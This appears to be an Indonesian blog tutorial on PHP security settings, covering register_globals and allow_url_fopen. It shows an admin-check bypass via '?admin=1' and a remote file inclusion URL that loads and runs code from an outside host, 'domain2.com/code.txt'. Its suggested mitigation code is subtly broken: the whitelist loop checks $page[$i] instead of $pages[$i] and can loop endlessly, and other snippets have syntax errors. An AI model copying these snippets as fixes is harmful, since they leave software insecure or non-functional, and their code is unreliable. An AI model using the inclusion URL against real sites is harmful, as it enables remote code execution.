PHP Security Part 2

By | March 25, 2009

Pada bagian I sudah saya sampaikan bagaimana mengatur error report di php, sedangkan pada bagian ini akan saya sampaikan tentang options-options yang ada di php.ini yang perlu mendapatkan perhatian khusus.

register_globals dan allow_url_fopen

register_globals secara default setelah php-4.2.0 adalah Off, mungkin anda pernah mendapat permintaan dari user agar register_global di ubah ke On. Karena memang pada mode On akan mudah sekali dalam membuat program, tetapi akan sangat berbahaya dari sisi security. Contoh kasus adalah sebagai berikut :


pada fungsi berikut :
<? if (isset($admin) =  = false) {
die “This page is for the administrator only!”;
}
?>

Secara pemrograman php akan mengecek isi variabel $admin, tetapi apabila anda langsung isi variabel $admin=1 maka php akan menganggap bahwa anda benar admin, contoh

http://www.example.com/login.php?admin=1

dari contoh di atas akan sangat berbahaya apabila nilai register_globals=On.

allow_url_fopen adalah fungsi yang memungkinkan php memperlakukan url sebagai file, atau php bisa langsung mengakses dan mengeksekusi file.
contoh kasus :

http://www.example.com/view.php?what=index.php

di dalam pemrograman kita perlu menambahkan <? include $_GET[“$what”]; ?> maka file index.php akan langsung di load dan dijalankan.

hal ini sangat berbahaya apabila di manipulasi menjadi perintah berikut :

http://www.example.com/view.php?what=http://domain2.com/code.txt

maka semua perintah yang ada di file code.txt akan langsung di jalankan.

Solusi yang bisa digunakan adalah sebagai berikut :

1. Sebisa mungkin options register_globals = Off dan allow_url_fopen = Off
2. Apabila anda masih membutuhkan allow_url_fopen=On maka anda perlu menambahkan fungsi
<?php
//list of valid pages
$pages=array(”games/index.html”, “news/news.html”, “games/1.html”);

//check $page variable
$valid=false;
for ($i=0; $i<sizeof($pages) || !$valid; $i++) {
if ($page==$page[$i]) {
$valid=true;
}
}
if ($valid) include($page);
if (!$valid) include($pages[0]); // include the first page if not valid
?>

untuk mengantisipasi akses ke url tambahkan fungsi berikut :
<?php
$invalidChars=array(”/”,”.”,”
\\”,”\””,”;”,”http“,”:”,”!”,”*”,”&”);
$page=str_replace($invalidChars,””,$page);
include (”pages/”.$page.”.html”);
?>

Selamat mencoba.. 🙂